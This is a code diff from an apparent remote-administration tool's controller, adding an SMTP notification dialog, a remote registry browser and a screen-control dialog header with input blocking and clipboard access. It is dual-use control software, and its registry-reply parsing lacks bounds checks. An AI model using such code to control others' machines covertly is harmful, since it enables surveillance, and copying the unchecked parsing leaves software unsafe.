// Send test email (synchronous)
|
||||
std::string result = GetNotifyManager().SendTestEmail();
|
||||
|
||||
// Restore config
|
||||
GetNotifyManager().SetConfig(backup);
|
||||
|
||||
// Re-enable button
|
||||
GetDlgItem(IDC_BTN_TEST_EMAIL)->EnableWindow(TRUE);
|
||||
SetCursor(LoadCursor(NULL, IDC_ARROW));
|
||||
|
||||
// Show result
|
||||
if (result == "success") {
|
||||
MessageBox(_TR(_T("测试邮件发送成功!")), _TR(_T("测试邮件")), MB_OK | MB_ICONINFORMATION);
|
||||
} else {
|
||||
MessageBox(_TR(_T("测试邮件发送失败,请检查SMTP配置")), _TR(_T("测试邮件")), MB_OK | MB_ICONWARNING);
|
||||
}
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::OnBnClickedCheckNotifyEnabled()
|
||||
{
|
||||
UpdateControlStates();
|
||||
}
|
||||
52
server/2015Remote/NotifySettingsDlg.h
Normal file
52
server/2015Remote/NotifySettingsDlg.h
Normal file
@@ -0,0 +1,52 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include "NotifyConfig.h"
|
||||
|
||||
class NotifySettingsDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
NotifySettingsDlg(CWnd* pParent = nullptr);
|
||||
virtual ~NotifySettingsDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_NOTIFY_SETTINGS };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnOK();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg void OnBnClickedBtnTestEmail();
|
||||
afx_msg void OnBnClickedCheckNotifyEnabled();
|
||||
|
||||
private:
|
||||
void LoadSettings();
|
||||
void SaveSettings();
|
||||
void UpdateControlStates();
|
||||
void PopulateComboBoxes();
|
||||
|
||||
private:
|
||||
// SMTP controls
|
||||
CEdit m_editSmtpServer;
|
||||
CEdit m_editSmtpPort;
|
||||
CButton m_checkSmtpSSL;
|
||||
CEdit m_editSmtpUser;
|
||||
CEdit m_editSmtpPass;
|
||||
CEdit m_editSmtpRecipient;
|
||||
|
||||
// Rule controls
|
||||
CButton m_checkNotifyEnabled;
|
||||
CComboBox m_comboNotifyType;
|
||||
CComboBox m_comboNotifyColumn;
|
||||
CEdit m_editNotifyPattern;
|
||||
|
||||
// Warning label
|
||||
CStatic m_staticWarning;
|
||||
|
||||
// Configuration copy
|
||||
NotifyConfig m_config;
|
||||
bool m_powerShellAvailable;
|
||||
};
|
||||
310
server/2015Remote/RegisterDlg.cpp
Normal file
310
server/2015Remote/RegisterDlg.cpp
Normal file
@@ -0,0 +1,310 @@
|
||||
// RegisterDlg.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "RegisterDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
enum MYKEY {
|
||||
MHKEY_CLASSES_ROOT,
|
||||
MHKEY_CURRENT_USER,
|
||||
MHKEY_LOCAL_MACHINE,
|
||||
MHKEY_USERS,
|
||||
MHKEY_CURRENT_CONFIG
|
||||
};
|
||||
enum KEYVALUE {
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
};
|
||||
|
||||
// CRegisterDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
|
||||
|
||||
|
||||
CRegisterDlg::CRegisterDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING)
|
||||
{
|
||||
m_bIsClosed = FALSE;
|
||||
m_bIsWorking = FALSE;
|
||||
}
|
||||
|
||||
CRegisterDlg::~CRegisterDlg()
|
||||
{
|
||||
Mprintf("~CRegisterDlg \n");
|
||||
}
|
||||
|
||||
void CRegisterDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_TREE, m_Tree);
|
||||
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CRegisterDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegisterDlg::OnTvnSelchangedTree)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CRegisterDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CRegisterDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
CString str;
|
||||
str.FormatL("%s - 注册表管理", m_IPAddress);
|
||||
SetWindowText(str);
|
||||
|
||||
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //制作 树控件上的图标
|
||||
|
||||
auto hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0);
|
||||
m_ImageListTree.Add(hIcon);
|
||||
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_DIR), IMAGE_ICON, 18, 18, 0);
|
||||
m_ImageListTree.Add(hIcon);
|
||||
|
||||
m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL);
|
||||
|
||||
m_hRoot = m_Tree.InsertItem(_TR("注册表管理"),0,0,0,0); //0
|
||||
HKCU = m_Tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); //1
|
||||
HKLM = m_Tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
|
||||
HKUS = m_Tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
|
||||
HKCC = m_Tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
|
||||
HKCR = m_Tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
|
||||
|
||||
m_Tree.Expand(m_hRoot,TVE_EXPAND);
|
||||
|
||||
m_ControlList.InsertColumnL(0,"名称",LVCFMT_LEFT,150,-1);
|
||||
m_ControlList.InsertColumnL(1,"类型",LVCFMT_LEFT,60,-1);
|
||||
m_ControlList.InsertColumnL(2,"数据",LVCFMT_LEFT,300,-1);
|
||||
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
//////添加图标//////
|
||||
m_ImageListControlList.Create(16,16,TRUE,2,2);
|
||||
m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_STRING));
|
||||
m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_DWORD));
|
||||
m_ControlList.SetImageList(&m_ImageListControlList,LVSIL_SMALL);
|
||||
|
||||
m_isEnable = TRUE; //该值是为了解决频繁 向被控端请求
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
void CRegisterDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
// 等待数据处理完毕
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
|
||||
void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
|
||||
|
||||
if(!m_isEnable) {
|
||||
return;
|
||||
}
|
||||
m_isEnable=FALSE;;
|
||||
|
||||
TVITEM Item = pNMTreeView->itemNew;
|
||||
|
||||
if(Item.hItem == m_hRoot) {
|
||||
m_isEnable=TRUE;;
|
||||
return;
|
||||
}
|
||||
|
||||
m_hSelectedItem=Item.hItem; //保存用户打开的子树节点句柄 //0 1 2 2 3
|
||||
m_ControlList.DeleteAllItems();
|
||||
|
||||
CString strFullPath=GetFullPath(m_hSelectedItem); //获得键值路径
|
||||
|
||||
char bToken=GetFatherPath(strFullPath); //[2] \1\2\3
|
||||
//愈加一个键
|
||||
int nitem=m_ControlList.InsertItem(0,_TR("(默认)"),0);
|
||||
m_ControlList.SetItemText(nitem,1,"REG_SZ");
|
||||
m_ControlList.SetItemText(nitem,2,_TR("(数据未设置值)"));
|
||||
|
||||
strFullPath.Insert(0,bToken);//插入 那个根键
|
||||
bToken=COMMAND_REG_FIND;
|
||||
strFullPath.Insert(0,bToken); //插入查询命令 [COMMAND_REG_FIND][x]
|
||||
|
||||
m_ContextObject->Send2Client((LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||
|
||||
m_isEnable = TRUE;
|
||||
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
|
||||
{
|
||||
CString strTemp;
|
||||
CString strReturn = "";
|
||||
while(1) {
|
||||
if(hCurrent==m_hRoot) {
|
||||
return strReturn;
|
||||
}
|
||||
strTemp = m_Tree.GetItemText(hCurrent);
|
||||
if(strTemp.Right(1) != "\\")
|
||||
strTemp += "\\";
|
||||
strReturn = strTemp + strReturn;
|
||||
hCurrent = m_Tree.GetParentItem(hCurrent); //得到父的
|
||||
}
|
||||
return strReturn;
|
||||
}
|
||||
|
||||
char CRegisterDlg::GetFatherPath(CString& strFullPath)
|
||||
{
|
||||
char bToken;
|
||||
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) { //判断主键
|
||||
bToken=MHKEY_CLASSES_ROOT;
|
||||
strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
|
||||
} else if(!strFullPath.Find("HKEY_CURRENT_USER")) {
|
||||
bToken=MHKEY_CURRENT_USER;
|
||||
strFullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
|
||||
|
||||
} else if(!strFullPath.Find("HKEY_LOCAL_MACHINE")) {
|
||||
bToken=MHKEY_LOCAL_MACHINE;
|
||||
strFullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
|
||||
|
||||
} else if(!strFullPath.Find("HKEY_USERS")) {
|
||||
bToken=MHKEY_USERS;
|
||||
strFullPath.Delete(0,sizeof("HKEY_USERS"));
|
||||
|
||||
} else if(!strFullPath.Find("HKEY_CURRENT_CONFIG")) {
|
||||
bToken=MHKEY_CURRENT_CONFIG;
|
||||
strFullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
|
||||
|
||||
}
|
||||
return bToken;
|
||||
}
|
||||
|
||||
|
||||
void CRegisterDlg::OnReceiveComplete(void)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||
case TOKEN_REG_PATH: {
|
||||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||
AddPath(tmp.c_str());
|
||||
break;
|
||||
}
|
||||
case TOKEN_REG_KEY: {
|
||||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||
AddKey(tmp.c_str());
|
||||
break;
|
||||
}
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
break;
|
||||
}
|
||||
m_bIsWorking = FALSE;
|
||||
}
|
||||
|
||||
|
||||
struct REGMSG {
|
||||
int count; //名字个数
|
||||
DWORD size; //名字大小
|
||||
DWORD valsize; //值大小
|
||||
};
|
||||
|
||||
|
||||
void CRegisterDlg::AddPath(char* szBuffer)
|
||||
{
|
||||
if(szBuffer==NULL) return;
|
||||
|
||||
// 先删除该节点下的所有现有子项,避免重复添加
|
||||
HTREEITEM hChild = m_Tree.GetChildItem(m_hSelectedItem);
|
||||
while (hChild != NULL) {
|
||||
HTREEITEM hNext = m_Tree.GetNextSiblingItem(hChild);
|
||||
m_Tree.DeleteItem(hChild);
|
||||
hChild = hNext;
|
||||
}
|
||||
|
||||
int msgsize=sizeof(REGMSG);
|
||||
REGMSG msg;
|
||||
memcpy((void*)&msg,szBuffer,msgsize);
|
||||
DWORD size =msg.size;
|
||||
int count=msg.count;
|
||||
if(size>0&&count>0) { //一点保护措施
|
||||
for(int i=0; i<count; ++i) {
|
||||
if (m_bIsClosed)
|
||||
break;
|
||||
char* szKeyName=szBuffer+size*i+msgsize;
|
||||
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//插入子键名称
|
||||
m_Tree.Expand(m_hSelectedItem,TVE_EXPAND);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CRegisterDlg::AddKey(char* szBuffer)
|
||||
{
|
||||
m_ControlList.DeleteAllItems();
|
||||
int iItem=m_ControlList.InsertItem(0,"(Data)",0);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_SZ");
|
||||
m_ControlList.SetItemText(iItem,2,"(NULL)");
|
||||
|
||||
if(szBuffer==NULL) return;
|
||||
REGMSG msg;
|
||||
memcpy((void*)&msg,szBuffer,sizeof(msg));
|
||||
char* szTemp=szBuffer+sizeof(msg);
|
||||
for(int i=0; i<msg.count; ++i) {
|
||||
if (m_bIsClosed)
|
||||
break;
|
||||
BYTE Type=szTemp[0]; //类型
|
||||
szTemp+=sizeof(BYTE);
|
||||
char* szValueName=szTemp; //取出名字
|
||||
szTemp+=msg.size;
|
||||
BYTE* szValueData=(BYTE*)szTemp; //取出值
|
||||
szTemp+=msg.valsize;
|
||||
if(Type==MREG_SZ) {
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,0);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_SZ");
|
||||
m_ControlList.SetItemText(iItem,2,(char*)szValueData);
|
||||
}
|
||||
if(Type==MREG_DWORD) {
|
||||
// 对注册表 REG_DWORD 类型的处理
|
||||
char ValueData[256] = {0};
|
||||
INT_PTR d=(INT_PTR)szValueData;
|
||||
memcpy((void*)&d,szValueData,sizeof(INT_PTR));
|
||||
CString strValue;
|
||||
strValue.FormatL("0x%x",d);
|
||||
sprintf(ValueData," (%d)",d);
|
||||
strValue+=" ";
|
||||
strValue+=ValueData;
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_DWORD");
|
||||
m_ControlList.SetItemText(iItem,2,strValue);
|
||||
}
|
||||
if(Type==MREG_BINARY) {
|
||||
// 对注册表 REG_BINARY 类型的处理
|
||||
char *ValueData = new char[msg.valsize+1];
|
||||
sprintf(ValueData,"%s",szValueData);
|
||||
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,1);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_BINARY");
|
||||
m_ControlList.SetItemText(iItem,2,ValueData);
|
||||
SAFE_DELETE_AR(ValueData);
|
||||
}
|
||||
if(Type==MREG_EXPAND_SZ) {
|
||||
int iItem=m_ControlList.InsertItem(0,szValueName,0);
|
||||
m_ControlList.SetItemText(iItem,1,"REG_EXPAND_SZ");
|
||||
m_ControlList.SetItemText(iItem,2,(char*)szValueData);
|
||||
}
|
||||
}
|
||||
}
|
||||
46
server/2015Remote/RegisterDlg.h
Normal file
46
server/2015Remote/RegisterDlg.h
Normal file
@@ -0,0 +1,46 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
|
||||
#include "IOCPServer.h"
|
||||
|
||||
// CRegisterDlg 对话框
|
||||
|
||||
class CRegisterDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CRegisterDlg)
|
||||
|
||||
public:
|
||||
CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
|
||||
virtual ~CRegisterDlg();
|
||||
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_REGISTER };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
|
||||
BOOL m_bIsWorking;// 正在处理注册表
|
||||
CTreeCtrl m_Tree;
|
||||
CImageList m_ImageListTree; //树控件上的图标
|
||||
CListCtrl m_ControlList;
|
||||
CImageList m_ImageListControlList; //ControlList上的图标
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
HTREEITEM m_hRoot;
|
||||
HTREEITEM HKLM;
|
||||
HTREEITEM HKCR;
|
||||
HTREEITEM HKCU;
|
||||
HTREEITEM HKUS;
|
||||
HTREEITEM HKCC;
|
||||
HTREEITEM m_hSelectedItem;
|
||||
BOOL m_isEnable;
|
||||
char GetFatherPath(CString& strFullPath);
|
||||
CString GetFullPath(HTREEITEM hCurrent);
|
||||
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
void OnReceiveComplete(void);
|
||||
void AddPath(char* szBuffer);
|
||||
void AddKey(char* szBuffer);
|
||||
};
|
||||
3049
server/2015Remote/ScreenSpyDlg.cpp
Normal file
3049
server/2015Remote/ScreenSpyDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
332
server/2015Remote/ScreenSpyDlg.h
Normal file
332
server/2015Remote/ScreenSpyDlg.h
Normal file
@@ -0,0 +1,332 @@
|
||||
#pragma once
|
||||
#include <imm.h>
|
||||
#include <map>
|
||||
#include "IOCPServer.h"
|
||||
#include "..\..\client\CursorInfo.h"
|
||||
#include "VideoDlg.h"
|
||||
#include "ToolbarDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
|
||||
extern "C"
|
||||
{
|
||||
#include "libavcodec\avcodec.h"
|
||||
#include "libavutil\avutil.h"
|
||||
#include "libyuv\libyuv.h"
|
||||
}
|
||||
|
||||
#ifndef _WIN64
|
||||
// https://github.com/Terodee/FFMpeg-windows-static-build/releases
|
||||
#pragma comment(lib,"ffmpeg/libavcodec.lib")
|
||||
#pragma comment(lib,"ffmpeg/libavutil.lib")
|
||||
#pragma comment(lib,"ffmpeg/libswresample.lib")
|
||||
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#else
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
// https://github.com/ShiftMediaProject/FFmpeg
|
||||
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
||||
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
||||
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "Mfplat.lib")
|
||||
#pragma comment(lib, "Mfuuid.lib")
|
||||
#pragma comment(lib, "Bcrypt.lib")
|
||||
#pragma comment(lib, "Strmiids.lib")
|
||||
|
||||
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
|
||||
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
|
||||
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
|
||||
|
||||
// ScreenSpyDlg 系统菜单命令 ID
|
||||
enum {
|
||||
IDM_CONTROL = 0x1010,
|
||||
IDM_FULLSCREEN,
|
||||
IDM_SEND_CTRL_ALT_DEL,
|
||||
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
|
||||
IDM_BLOCK_INPUT, // 锁定远程计算机输入
|
||||
IDM_SAVEDIB, // 保存图片
|
||||
IDM_GET_CLIPBOARD, // 获取剪贴板
|
||||
IDM_SET_CLIPBOARD, // 设置剪贴板
|
||||
IDM_ADAPTIVE_SIZE,
|
||||
IDM_SAVEAVI,
|
||||
IDM_SAVEAVI_H264,
|
||||
IDM_SWITCHSCREEN,
|
||||
IDM_MULTITHREAD_COMPRESS,
|
||||
IDM_FPS_10,
|
||||
IDM_FPS_15,
|
||||
IDM_FPS_20,
|
||||
IDM_FPS_25,
|
||||
IDM_FPS_30,
|
||||
IDM_FPS_UNLIMITED,
|
||||
IDM_ORIGINAL_SIZE,
|
||||
IDM_SCREEN_1080P,
|
||||
IDM_REMOTE_CURSOR,
|
||||
IDM_SCROLL_DETECT_OFF, // 滚动检测:关闭(局域网)
|
||||
IDM_SCROLL_DETECT_2, // 滚动检测:跨网推荐
|
||||
IDM_SCROLL_DETECT_4, // 滚动检测:标准模式
|
||||
IDM_SCROLL_DETECT_8, // 滚动检测:省CPU模式
|
||||
IDM_QUALITY_OFF, // 关闭质量控制(使用原有算法)
|
||||
IDM_ADAPTIVE_QUALITY, // 自适应质量
|
||||
IDM_QUALITY_ULTRA, // 手动质量:Ultra
|
||||
IDM_QUALITY_HIGH, // 手动质量:High
|
||||
IDM_QUALITY_GOOD, // 手动质量:Good
|
||||
IDM_QUALITY_MEDIUM, // 手动质量:Medium
|
||||
IDM_QUALITY_LOW, // 手动质量:Low
|
||||
IDM_QUALITY_MINIMAL, // 手动质量:Minimal
|
||||
IDM_ENABLE_SSE2,
|
||||
IDM_FAST_STRETCH, // 快速缩放模式(降低CPU占用)
|
||||
IDM_CUSTOM_CURSOR, // 使用自定义光标
|
||||
IDM_RESTORE_CONSOLE, // RDP会话归位
|
||||
IDM_RESET_VIRTUAL_DESKTOP, // 重置虚拟桌面
|
||||
IDM_AUDIO_TOGGLE, // 音频开关
|
||||
};
|
||||
|
||||
// 状态信息窗口 - 全屏时显示帧率/速度/质量
|
||||
class CStatusInfoWnd : public CWnd
|
||||
{
|
||||
public:
|
||||
CStatusInfoWnd() : m_nOpacityLevel(0), m_bVisible(false), m_bDragging(false) {}
|
||||
|
||||
BOOL Create(CWnd* pParent);
|
||||
void UpdateInfo(double fps, double kbps, const CString& quality);
|
||||
void Show();
|
||||
void Hide();
|
||||
void SetOpacityLevel(int level);
|
||||
void UpdatePosition(const RECT& rcMonitor);
|
||||
void LoadSettings();
|
||||
void SaveSettings();
|
||||
|
||||
bool IsVisible() const { return m_bVisible; }
|
||||
bool IsParentInControlMode(); // 检查父窗口是否处于控制模式
|
||||
|
||||
protected:
|
||||
afx_msg void OnPaint();
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
CString m_strInfo;
|
||||
int m_nOpacityLevel;
|
||||
bool m_bVisible;
|
||||
|
||||
// 拖动支持
|
||||
bool m_bDragging;
|
||||
CPoint m_ptDragStart;
|
||||
|
||||
// 位置保存
|
||||
double m_dOffsetXRatio = 0.5;
|
||||
int m_nOffsetY = 50;
|
||||
bool m_bHasCustomPosition = false;
|
||||
};
|
||||
|
||||
// CScreenSpyDlg 对话框
|
||||
|
||||
class CScreenSpyDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CScreenSpyDlg)
|
||||
CToolbarDlg* m_pToolbar = nullptr;
|
||||
CMy2015RemoteDlg* m_pParent = nullptr;
|
||||
|
||||
public:
|
||||
CStatusInfoWnd* m_pStatusInfoWnd = nullptr;
|
||||
// MaxFPS=20, ScrollDetectInterval=2, Reserved={}, Capabilities=0
|
||||
// MaxFPS=20, CompressThread=0, ScreenStrategy=0, ScreenWidth=0, ScreenHeight=0,
|
||||
// FullScreen=0, RemoteCursor=0, ScrollDetectInterval=2, QualityLevel=-1,
|
||||
// CpuSpeedup=0, ScreenType=0, AudioEnabled=0, Reserved={}, Capabilities=0
|
||||
ScreenSettings m_Settings = { 20, 0, 0, 0, 0, 0, 0, 2, -1, 0, 0, 0, {}, 0 };
|
||||
|
||||
public:
|
||||
// 快速缩放模式(全局配置,所有实例共享)
|
||||
static int s_nFastStretch; // -1=未初始化, 0=关闭, 1=开启
|
||||
static bool GetFastStretchMode();
|
||||
static void SetFastStretchMode(bool bFast);
|
||||
|
||||
CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||
virtual ~CScreenSpyDlg();
|
||||
virtual BOOL ShouldReconnect()
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID SendNext(void);
|
||||
VOID OnReceiveComplete();
|
||||
HDC m_hFullDC;
|
||||
HDC m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
VOID DrawFirstScreen(void);
|
||||
VOID DrawNextScreenDiff(bool keyFrame);
|
||||
VOID DrawScrollFrame(void);
|
||||
BOOL m_bIsFirst;
|
||||
bool m_bQualitySwitch = false; // 质量切换中,不显示"请等待"
|
||||
ULONG m_ulHScrollPos;
|
||||
ULONG m_ulVScrollPos;
|
||||
// fillMode: 0=不填充, 1=全黑, 2=半透明
|
||||
VOID DrawTipString(CString strString, int fillMode=1);
|
||||
|
||||
POINT m_ClientCursorPos;
|
||||
BYTE m_bCursorIndex;
|
||||
BOOL m_bIsTraceCursor;
|
||||
CCursorInfo m_CursorInfo; //自定义的一个系统的光标类
|
||||
VOID SendCommand(const MYMSG* Msg);
|
||||
void SendScaledMouseMessage(MSG* pMsg, bool makeLP);
|
||||
VOID UpdateServerClipboard(char *szBuffer,ULONG ulLength);
|
||||
VOID SendServerClipboard(void);
|
||||
|
||||
BOOL m_bIsCtrl;
|
||||
LPBYTE m_szData;
|
||||
BOOL m_bSend;
|
||||
ULONG m_ulMsgCount;
|
||||
int m_FrameID;
|
||||
HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用
|
||||
bool m_bHide = false;
|
||||
std::string m_strSaveNotice; // 截图保存路径提示
|
||||
ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
|
||||
BOOL m_bUsingFRP = FALSE;
|
||||
|
||||
// 文件接收进度对话框(用于 Linux Ctrl+C -> 服务端 Ctrl+V)
|
||||
// 按 transferID 管理多个并发传输
|
||||
std::map<uint64_t, class CDlgFileSend*> m_FileRecvDlgs;
|
||||
|
||||
void SaveSnapshot(void);
|
||||
// 对话框数据
|
||||
enum { IDD = IDD_DIALOG_SCREEN_SPY };
|
||||
|
||||
WINDOWPLACEMENT m_struOldWndpl;
|
||||
|
||||
const AVCodec* m_pCodec;
|
||||
AVCodecContext* m_pCodecContext;
|
||||
AVPacket m_AVPacket;
|
||||
AVFrame m_AVFrame;
|
||||
|
||||
clock_t m_lastMouseMove; // 鼠标移动时间
|
||||
POINT m_lastMousePoint;// 上次鼠标位置
|
||||
BOOL m_bAdaptiveSize = TRUE;
|
||||
HCURSOR m_hRemoteCursor = NULL;
|
||||
HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标
|
||||
DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希
|
||||
BOOL m_bUseCustomCursor = TRUE; // 是否使用自定义光标
|
||||
CRect m_CRect;
|
||||
double m_wZoom=1, m_hZoom=1;
|
||||
bool m_bMouseTracking = false;
|
||||
|
||||
CString m_aviFile;
|
||||
CBmpToAvi m_aviStream;
|
||||
|
||||
// 传输速率统计
|
||||
ULONG m_ulBytesThisSecond = 0; // 本秒累计字节
|
||||
double m_dTransferRate = 0; // 当前速率 (KB/s)
|
||||
// 帧率统计 (使用EMA平滑)
|
||||
ULONG m_ulFramesThisSecond = 0; // 本秒累计帧数
|
||||
double m_dFrameRate = 0; // 平滑后的帧率 (FPS)
|
||||
|
||||
// 自适应质量
|
||||
struct {
|
||||
bool enabled = false; // 是否启用自适应 (默认关闭)
|
||||
int currentLevel = QUALITY_HIGH; // 当前质量等级
|
||||
int currentMaxWidth = 0; // 当前分辨率限制 (0=原始)
|
||||
int lastRTT = 0; // 上次RTT值
|
||||
ULONGLONG lastChangeTime = 0; // 上次切换时间
|
||||
ULONGLONG lastResChangeTime = 0; // 上次分辨率变化时间
|
||||
ULONGLONG startTime = 0; // 启动时间 (用于延迟启动自适应)
|
||||
int stableCount = 0; // 稳定计数 (用于防抖)
|
||||
} m_AdaptiveQuality;
|
||||
|
||||
volatile bool m_bResolutionChanging = false; // 分辨率切换中,阻止解码
|
||||
|
||||
// ========== 音频播放 ==========
|
||||
// m_Settings.AudioEnabled 表示是否启用音频(与客户端同步)
|
||||
BOOL m_bAudioPlaying = FALSE; // 音频是否正在播放
|
||||
HWAVEOUT m_hWaveOut = NULL; // 波形输出设备句柄
|
||||
WAVEFORMATEX m_AudioFormat = {}; // 音频格式
|
||||
static const int AUDIO_BUFFER_COUNT = 8; // 缓冲区数量(增加到8个)
|
||||
WAVEHDR m_WaveHdr[AUDIO_BUFFER_COUNT] = {}; // 波形头
|
||||
LPBYTE m_pAudioBuf[AUDIO_BUFFER_COUNT] = {};// 音频缓冲区
|
||||
int m_nAudioBufIndex = 0; // 当前缓冲区索引
|
||||
static const DWORD AUDIO_BUF_SIZE = 8192; // 8KB 每个缓冲区(更小更频繁)
|
||||
|
||||
// 环形缓冲区(吸收网络抖动)
|
||||
static const DWORD RING_BUF_SIZE = 65536; // 64KB 环形缓冲区
|
||||
BYTE* m_pRingBuf = nullptr; // 环形缓冲区
|
||||
DWORD m_nRingHead = 0; // 写入位置
|
||||
DWORD m_nRingTail = 0; // 读取位置
|
||||
DWORD m_nRingDataLen = 0; // 缓冲数据量
|
||||
int m_nPrebufferCount = 0; // 预缓冲计数
|
||||
static const int PREBUFFER_TARGET = 5; // 预缓冲目标(积累5个包再开始播放,约50ms)
|
||||
|
||||
